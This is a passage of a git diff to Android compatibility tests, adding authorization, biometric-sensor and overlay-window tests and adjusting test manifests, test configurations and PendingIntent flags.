     @RequireRunOnPrimaryUser
     @EnsureHasWorkProfile
+    @Postsubmit(reason="new test")
     public void getProfileSwitchingLabel_callingFromPrimaryUser_targetIsWorkProfile_notNull() {
         assertThat(sCrossProfileApps.getProfileSwitchingLabel(
                 sDeviceState.getWorkProfile())).isNotNull();
@@ -267,6 +280,7 @@
 
     @Test
     @RequireRunOnPrimaryUser
+    @Postsubmit(reason="new test")
     public void getProfileSwitchingLabelIconDrawable_callingFromPrimaryUser_targetIsPrimaryUser_throwsSecurityException() {
         assertThrows(SecurityException.class, () -> {
             sCrossProfileApps.getProfileSwitchingIconDrawable(sDeviceState.getPrimaryUser());
@@ -276,6 +290,7 @@
     @Test
     @RequireRunOnPrimaryUser
     @EnsureHasSecondaryUser
+    @Postsubmit(reason="new test")
     public void getProfileSwitchingLabelIconDrawable_callingFromPrimaryUser_targetIsSecondaryUser_throwsSecurityException() {
         assertThrows(SecurityException.class, () -> {
             sCrossProfileApps.getProfileSwitchingIconDrawable(sDeviceState.getSecondaryUser());
@@ -304,6 +319,7 @@
     @Test
     @RequireRunOnPrimaryUser
     @EnsureHasWorkProfile
+    @Postsubmit(reason="new test")
     public void getProfileSwitchingIconDrawable_callingFromPrimaryUser_targetIsWorkProfile_notNull() {
         assertThat(sCrossProfileApps.getProfileSwitchingIconDrawable(
                 sDeviceState.getWorkProfile())).isNotNull();
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/NegativeCallAuthorizationTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/NegativeCallAuthorizationTest.java
new file mode 100644
index 0000000..dd1f81b
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/NegativeCallAuthorizationTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.enterprise.DeviceState;
+import com.android.compatibility.common.util.enterprise.annotations.RequireFeatures;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test that certain DevicePolicyManager APIs aren't available to non-owner apps and that they throw
+ * SecurityException when invoked by such apps. For most of the older APIs that accept an explicit
+ * ComponentName admin argument, this is tested in android.admin.cts.DevicePolicyManagerTest by
+ * passing an admin that is not owner, but for newer APIs authorization is done based on caller UID,
+ * so it is critical that the app is not owner. These APIs are tested here.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class NegativeCallAuthorizationTest {
+    private static final String ALIAS = "some-alias";
+    private static final Context sContext = ApplicationProvider.getApplicationContext();
+    private static final DevicePolicyManager sDpm =
+            sContext.getSystemService(DevicePolicyManager.class);
+
+    @ClassRule @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    @Test
+    @RequireFeatures(featureNames = PackageManager.FEATURE_DEVICE_ADMIN)
+    public void testHasKeyPair_failIfNotOwner() {
+        assertThrows(SecurityException.class, () -> sDpm.hasKeyPair(ALIAS));
+    }
+
+    @Test
+    @RequireFeatures(featureNames = PackageManager.FEATURE_DEVICE_ADMIN)
+    public void testGetKeyPairGrants_failIfNotOwner() {
+        assertThrows(SecurityException.class, () -> sDpm.getKeyPairGrants(ALIAS));
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTest.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTest.java
index ddc79c1..49c5291 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTest.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTest.java
@@ -17,8 +17,8 @@
 package android.server.biometrics;
 
 import static android.os.PowerManager.FULL_WAKE_LOCK;
-import static android.server.biometrics.Components.CLASS_2_BIOMETRIC_OR_CREDENTIAL_ACTIVITY;
 import static android.server.biometrics.Components.CLASS_2_BIOMETRIC_ACTIVITY;
+import static android.server.biometrics.Components.CLASS_2_BIOMETRIC_OR_CREDENTIAL_ACTIVITY;
 import static android.server.biometrics.SensorStates.SensorState;
 import static android.server.biometrics.SensorStates.UserState;
 
@@ -59,6 +59,7 @@
 import androidx.annotation.Nullable;
 
 import com.android.server.biometrics.nano.BiometricServiceStateProto;
+import com.android.server.biometrics.nano.SensorStateProto;
 
 import org.junit.After;
 import org.junit.Before;
@@ -240,6 +241,20 @@
         }
     }
 
+    @Test
+    public void testPackageManagerAndDumpsysMatch() throws Exception {
+        final BiometricServiceState state = getCurrentState();
+
+        final PackageManager pm = mContext.getPackageManager();
+
+        assertEquals(pm.hasSystemFeature(PackageManager.FEATURE_FINGERPRINT),
+                state.mSensorStates.containsModality(SensorStateProto.FINGERPRINT));
+        assertEquals(pm.hasSystemFeature(PackageManager.FEATURE_FACE),
+                state.mSensorStates.containsModality(SensorStateProto.FACE));
+        assertEquals(pm.hasSystemFeature(PackageManager.FEATURE_IRIS),
+                state.mSensorStates.containsModality(SensorStateProto.IRIS));
+    }
+
     private void enrollForSensor(@NonNull BiometricTestSession session, int sensorId)
             throws Exception {
         Log.d(TAG, "Enrolling for sensor: " + sensorId);
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/SensorStates.java b/tests/framework/base/biometrics/src/android/server/biometrics/SensorStates.java
index e771192..6887744 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/SensorStates.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/SensorStates.java
@@ -43,10 +43,12 @@
 
     public static class SensorState {
         private final boolean mIsBusy;
+        private final int mModality;
         @NonNull private final SparseArray<UserState> mUserStates;
 
-        public SensorState(boolean isBusy, @NonNull SparseArray<UserState> userStates) {
+        public SensorState(boolean isBusy, int modality, @NonNull SparseArray<UserState> userStates) {
             this.mIsBusy = isBusy;
+            this.mModality = modality;
             this.mUserStates = userStates;
         }
 
@@ -54,6 +56,10 @@
             return mIsBusy;
         }
 
+        public int getModality() {
+            return mModality;
+        }
+
         @NonNull public SparseArray<UserState> getUserStates() {
             return mUserStates;
         }
@@ -77,7 +83,8 @@
                 userStates.put(userStateProto.userId, new UserState(userStateProto.numEnrolled));
             }
 
-            final SensorState sensorState = new SensorState(sensorStateProto.isBusy, userStates);
+            final SensorState sensorState = new SensorState(sensorStateProto.isBusy,
+                    sensorStateProto.modality, userStates);
             sensorStates.put(sensorStateProto.sensorId, sensorState);
         }
 
@@ -115,6 +122,15 @@
         return true;
     }
 
+    public boolean containsModality(int modality) {
+        for (int i = 0; i < sensorStates.size(); i++) {
+            if (sensorStates.valueAt(i).getModality() == modality) {
+                return true;
+            }
+        }
+        return false;
+    }
+
     private SensorStates(@NonNull SparseArray<SensorState> sensorStates) {
         this.sensorStates = sensorStates;
     }
@@ -124,9 +140,9 @@
         final StringBuilder sb = new StringBuilder();
         for (int i = 0; i < sensorStates.size(); i++) {
             sb.append("{SensorId: ").append(sensorStates.keyAt(i));
-            sb.append(", Busy: ").append(sensorStates.get(i).isBusy());
+            sb.append(", Busy: ").append(sensorStates.valueAt(i).isBusy());
 
-            final SparseArray<UserState> userStates = sensorStates.get(i).getUserStates();
+            final SparseArray<UserState> userStates = sensorStates.valueAt(i).getUserStates();
             for (int j = 0; j < userStates.size(); j++) {
                 sb.append(", UserId: ").append(userStates.keyAt(j));
                 sb.append(", NumEnrolled: ").append(userStates.get(j).numEnrolled);
diff --git a/tests/framework/base/suggestions/src/android/service/settings/suggestions/SuggestionTest.java b/tests/framework/base/suggestions/src/android/service/settings/suggestions/SuggestionTest.java
index fb442ce..adac3b6 100644
--- a/tests/framework/base/suggestions/src/android/service/settings/suggestions/SuggestionTest.java
+++ b/tests/framework/base/suggestions/src/android/service/settings/suggestions/SuggestionTest.java
@@ -48,7 +48,7 @@
     public void setUp() {
         final Context context = InstrumentationRegistry.getContext();
         mTestIntent = PendingIntent.getActivity(context, 0 /* requestCode */,
-                new Intent(), 0 /* flags */);
+                new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED /* flags */);
         mIcon = Icon.createWithBitmap(Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888));
     }
 
diff --git a/tests/framework/base/windowmanager/Android.bp b/tests/framework/base/windowmanager/Android.bp
index f530740..8c5af8c 100644
--- a/tests/framework/base/windowmanager/Android.bp
+++ b/tests/framework/base/windowmanager/Android.bp
@@ -61,6 +61,7 @@
         "metrics-helper-lib",
         "truth-prebuilt",
         "cts-wm-overlayapp-base",
+        "cts-wm-shared",
     ],
 
     test_suites: [
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index ef3c415..4a59813 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -158,6 +158,10 @@
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$TransitionDestinationActivity"
              android:theme="@style/window_activity_transitions"/>
 
+        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$LaunchForwardResultActivity"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$TrampolineActivity"/>
+
         <activity android:name="android.server.wm.MultiDisplayActivityLaunchTests$ImmediateLaunchTestActivity"
              android:allowEmbedded="true"/>
 
@@ -172,6 +176,16 @@
              android:resizeableActivity="true"
              android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
 
+        <activity android:name="android.server.wm.HideOverlayWindowsTest$SystemWindowActivity"
+                  android:process=":swa"
+                  android:exported="true"/>
+        <activity android:name="android.server.wm.HideOverlayWindowsTest$InternalSystemWindowActivity"
+                  android:process=":iswa"
+                  android:exported="true"/>
+        <activity android:name="android.server.wm.HideOverlayWindowsTest$SystemApplicationOverlayActivity"
+                  android:process=":saoa"
+                  android:exported="true"/>
+
         <activity android:name="android.server.wm.KeyguardLockedTests$ShowImeAfterLockscreenActivity"/>
 
         <activity android:name="android.server.wm.KeyguardLockedTests$ShowWhenLockedImeActivity"/>
@@ -421,10 +435,6 @@
 
         <activity android:name="android.server.wm.WindowUntrustedTouchTest$TestActivity"
                   android:exported="true"/>
-
-        <activity android:name="android.server.wm.WindowUntrustedTouchTest$OverlayActivity"
-                  android:exported="true"
-                  android:theme="@android:style/Theme.Translucent"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/framework/base/windowmanager/AndroidTest.xml b/tests/framework/base/windowmanager/AndroidTest.xml
index 247a7ce..15e9af1 100644
--- a/tests/framework/base/windowmanager/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/AndroidTest.xml
@@ -19,7 +19,6 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck"/>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true"/>
         <option name="test-file-name" value="CtsWindowManagerDeviceTestCases.apk"/>
@@ -56,10 +55,19 @@
                 value="settings put secure android.car.ENABLE_INITIAL_NOTICE_SCREEN_TO_USER 1" />
     </target_preparer>
 
+    <!-- Enabling change id allows that package to access @TestApi methods -->
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-      <!-- Disable hidden API checking, see b/166236554 -->
-        <option name="run-command" value="settings put global hidden_api_policy 1" />
-        <option name="teardown-command" value="settings delete global hidden_api_policy" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.server.wm.app" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.server.wm.shareuid.a" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.server.wm.shareuid.b" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.server.wm.second" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.server.wm.app27" />
+
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.server.wm.app" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.server.wm.shareuid.a" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.server.wm.shareuid.b" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.server.wm.second" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.server.wm.app27" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest">
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index a707807..d232d33 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -25,8 +25,9 @@
     <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION"/>
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
+    <uses-permission android:name="android.permission.HIDE_OVERLAY_WINDOWS"/>
 
-    <application>
+    <application android:debuggable="true">
         <activity android:name=".TestActivity"
              android:resizeableActivity="true"
              android:supportsPictureInPicture="true"
@@ -547,6 +548,7 @@
         <activity android:name=".PresentationActivity"
              android:launchMode="singleTop"
              android:exported="true"/>
+        <activity android:name=".HideOverlayWindowsActivity" android:exported="true"/>
 
         <service android:name=".OverlayTestService"
                  android:exported="true" />
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/AlwaysFocusablePipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/AlwaysFocusablePipActivity.java
index 959c922..3e98553 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/AlwaysFocusablePipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/AlwaysFocusablePipActivity.java
@@ -26,7 +26,7 @@
 import android.content.Intent;
 import android.graphics.Rect;
 
-public class AlwaysFocusablePipActivity extends Activity {
+public class AlwaysFocusablePipActivity extends PipActivity {
 
     static void launchAlwaysFocusablePipActivity(Activity caller, boolean newTask) {
         launchAlwaysFocusablePipActivity(caller, newTask, false /* multiTask */);
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index 529b22a..86ffdc0 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -52,6 +52,8 @@
             component("FontScaleNoRelaunchActivity");
     public static final ComponentName FREEFORM_ACTIVITY = component("FreeformActivity");
     public static final ComponentName HOST_ACTIVITY = component("HostActivity");
+    public static final ComponentName HIDE_OVERLAY_WINDOWS_ACTIVITY =
+            component("HideOverlayWindowsActivity");
     public static final ComponentName KEYGUARD_LOCK_ACTIVITY = component("KeyguardLockActivity");
     public static final ComponentName LANDSCAPE_ORIENTATION_ACTIVITY =
             component("LandscapeOrientationActivity");
@@ -425,6 +427,9 @@
                 "enter_pip_on_pip_requested";
         // Sets auto PIP allowed on the activity picture-in-picture params.
         public static final String EXTRA_ALLOW_AUTO_PIP = "enter_pip_auto_pip_allowed";
+        // Sets seamless resize enabled on the activity picture-in-picture params.
+        public static final String EXTRA_IS_SEAMLESS_RESIZE_ENABLED =
+                "enter_pip_is_seamless_resize_enabled";
         // Finishes the activity at the end of onResume (after EXTRA_START_ACTIVITY is handled)
         public static final String EXTRA_FINISH_SELF_ON_RESUME = "finish_self_on_resume";
         // Sets the fixed orientation (can be one of {@link ActivityInfo.ScreenOrientation}
@@ -529,6 +534,12 @@
         public static final int ID_OVERLAY_TEST_SERVICE = 1;
     }
 
+    public static class HideOverlayWindowsActivity {
+        public static final String ACTION = "hide_action";
+        public static final String PONG = "pong_action";
+        public static final String SHOULD_HIDE = "should_hide";
+    }
+
     private static ComponentName component(String className) {
         return component(Components.class, className);
     }
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/HideOverlayWindowsActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/HideOverlayWindowsActivity.java
new file mode 100644
index 0000000..4014999
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/HideOverlayWindowsActivity.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.app;
+
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.ACTION;
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.PONG;
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.SHOULD_HIDE;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+
+/**
+ * Helper activity for HideApplicationOverlaysTest. Communication is handled through a pair of
+ * broadcast receivers, this activity is receiving commands from the tests and emits a pong
+ * message when the commands have been executed.
+ */
+public class HideOverlayWindowsActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        registerReceiver(mBroadcastReceiver, new IntentFilter(ACTION));
+    }
+
+    BroadcastReceiver mBroadcastReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (ACTION.equals(intent.getAction())) {
+                boolean booleanExtra = intent.getBooleanExtra(SHOULD_HIDE, false);
+                getWindow().setHideOverlayWindows(booleanExtra);
+                sendBroadcast(new Intent(PONG));
+            }
+        }
+    };
+
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchIntoPinnedStackPipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchIntoPinnedStackPipActivity.java
index f2721bb..8c1c0fa 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchIntoPinnedStackPipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchIntoPinnedStackPipActivity.java
@@ -16,9 +16,7 @@
 
 package android.server.wm.app;
 
-import android.app.Activity;
-
-public class LaunchIntoPinnedStackPipActivity extends Activity {
+public class LaunchIntoPinnedStackPipActivity extends PipActivity {
     @Override
     protected void onResume() {
         super.onResume();
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java
index fd44271..9b955ae 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java
@@ -16,11 +16,9 @@
 
 package android.server.wm.app;
 
-import android.app.Activity;
-import android.content.pm.PackageManager;
 import android.content.res.Configuration;
 
-public class LaunchPipOnPipActivity extends Activity {
+public class LaunchPipOnPipActivity extends PipActivity {
 
     @Override
     public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode,
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
index 79aeae9..5778ac2 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
@@ -41,6 +41,7 @@
 import static android.server.wm.app.Components.PipActivity.EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR;
 import static android.server.wm.app.Components.PipActivity.EXTRA_SHOW_OVER_KEYGUARD;
 import static android.server.wm.app.Components.PipActivity.EXTRA_START_ACTIVITY;
+import static android.server.wm.app.Components.PipActivity.EXTRA_IS_SEAMLESS_RESIZE_ENABLED;
 import static android.server.wm.app.Components.PipActivity.EXTRA_TAP_TO_FINISH;
 import static android.view.WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD;
 
@@ -172,10 +173,18 @@
             }
         }
 
+        final PictureInPictureParams.Builder sharedBuilder = new PictureInPictureParams.Builder();
+        boolean sharedBuilderChanged = false;
+
         if (getIntent().hasExtra(EXTRA_ALLOW_AUTO_PIP)) {
-            final PictureInPictureParams.Builder builder = new PictureInPictureParams.Builder();
-            builder.setAutoEnterEnabled(true);
-            setPictureInPictureParams(builder.build());
+            sharedBuilder.setAutoEnterEnabled(true);
+            sharedBuilderChanged = true;
+        }
+
+        if (getIntent().hasExtra(EXTRA_IS_SEAMLESS_RESIZE_ENABLED)) {
+            sharedBuilder.setSeamlessResizeEnabled(
+                    getIntent().getBooleanExtra(EXTRA_IS_SEAMLESS_RESIZE_ENABLED, true));
+            sharedBuilderChanged = true;
         }
 
         // Enable tap to finish if necessary
@@ -198,13 +207,16 @@
         if (getIntent().hasExtra(EXTRA_NUMBER_OF_CUSTOM_ACTIONS)) {
             final int numberOfCustomActions = Integer.valueOf(
                     getIntent().getStringExtra(EXTRA_NUMBER_OF_CUSTOM_ACTIONS));
-            final PictureInPictureParams.Builder builder = new PictureInPictureParams.Builder();
             final List<RemoteAction> actions = new ArrayList<>(numberOfCustomActions);
             for (int i = 0; i< numberOfCustomActions; i++) {
                 actions.add(createRemoteAction(i));
             }
-            builder.setActions(actions);
-            setPictureInPictureParams(builder.build());
+            sharedBuilder.setActions(actions);
+            sharedBuilderChanged = true;
+        }
+
+        if (sharedBuilderChanged) {
+            setPictureInPictureParams(sharedBuilder.build());
         }
 
         // Register the broadcast receiver
diff --git a/tests/framework/base/windowmanager/app27/AndroidManifest.xml b/tests/framework/base/windowmanager/app27/AndroidManifest.xml
index 66da0e6..47ec0fe 100755
--- a/tests/framework/base/windowmanager/app27/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app27/AndroidManifest.xml
@@ -18,7 +18,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.server.wm.app27">
 
-    <application android:label="App27">
+    <application android:label="App27"
+                 android:debuggable="true">
         <activity android:name="android.server.wm.app.LaunchingActivity"
                   android:resizeableActivity="true"
                   android:supportsPictureInPicture="true"
diff --git a/tests/framework/base/windowmanager/appAShareUid/AndroidManifest.xml b/tests/framework/base/windowmanager/appAShareUid/AndroidManifest.xml
index 0446e1c..54c3d27 100644
--- a/tests/framework/base/windowmanager/appAShareUid/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/appAShareUid/AndroidManifest.xml
@@ -19,7 +19,7 @@
           package="android.server.wm.shareuid.a"
           android:sharedUserId="android.server.wm.shareuid">
 
-    <application>
+    <application android:debuggable="true">
         <activity
             android:name=".TestActivityWithSameAffinity"
             android:exported="true"
diff --git a/tests/framework/base/windowmanager/appBShareUid/AndroidManifest.xml b/tests/framework/base/windowmanager/appBShareUid/AndroidManifest.xml
index 8586006..e7e6dec 100644
--- a/tests/framework/base/windowmanager/appBShareUid/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/appBShareUid/AndroidManifest.xml
@@ -19,7 +19,7 @@
           package="android.server.wm.shareuid.b"
           android:sharedUserId="android.server.wm.shareuid">
 
-    <application>
+    <application android:debuggable="true">
         <activity
             android:name=".TestActivityWithSameAffinityShareUid"
             android:exported="true"
diff --git a/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml b/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
index 27d613f..c926a97 100644
--- a/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
@@ -18,7 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.server.wm.second">
 
-    <application>
+    <application android:debuggable="true">
         <activity
             android:name=".EmbeddingActivity"
             android:resizeableActivity="true"
diff --git a/tests/framework/base/windowmanager/app_base/Android.bp b/tests/framework/base/windowmanager/app_base/Android.bp
index 113a65d..9879e12 100644
--- a/tests/framework/base/windowmanager/app_base/Android.bp
+++ b/tests/framework/base/windowmanager/app_base/Android.bp
@@ -27,6 +27,7 @@
 
     static_libs: [
         "androidx.annotation_annotation",
+        "cts-wm-shared",
     ],
 
     sdk_version: "test_current",
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AndroidTest.xml b/tests/framework/base/windowmanager/backgroundactivity/AndroidTest.xml
index d55515e..b5b1b88 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/backgroundactivity/AndroidTest.xml
@@ -21,7 +21,6 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="install-arg" value="-t" />
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java
index 7ec1cc9..c05b48f 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java
@@ -55,14 +55,14 @@
             newIntent.putExtra(START_ACTIVITY_DELAY_MS_EXTRA, startActivityDelayMs);
             newIntent.putExtra(EVENT_NOTIFIER_EXTRA, eventNotifier);
             pendingIntent = PendingIntent.getBroadcast(context, 0,
-                    newIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+                    newIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
         } else {
             // Create a pendingIntent to launch appA's BackgroundActivity
             Intent newIntent = new Intent();
             newIntent.setComponent(APP_A_BACKGROUND_ACTIVITY);
             newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
             pendingIntent = PendingIntent.getActivity(context, 0,
-                    newIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+                    newIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
         }
 
         // Send the pendingIntent to appB
diff --git a/tests/framework/base/windowmanager/intent_tests/newTask/test-multiple-task.json b/tests/framework/base/windowmanager/intent_tests/newTask/test-multiple-task.json
new file mode 100644
index 0000000..99b3c18
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/newTask/test-multiple-task.json
@@ -0,0 +1,49 @@
+{
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "FLAG_ACTIVITY_MULTIPLE_TASK",
+                "class": "android.server.wm.intent.Activities$SingleTopActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleTopActivity",
+                        "state": "RESUMED"
+                    },
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml b/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml
index 89ac53e..eb899a2 100644
--- a/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml
@@ -23,7 +23,7 @@
 
     <application>
         <service
-            android:name="android.server.wm.overlay.TestCompanionService"
+            android:name="android.server.wm.overlay.UntrustedTouchTestService"
             android:exported="true" />
         <activity
             android:name="android.server.wm.overlay.OverlayActivity"
diff --git a/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_0_7.xml b/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_0_7.xml
new file mode 100644
index 0000000..cb60741
--- /dev/null
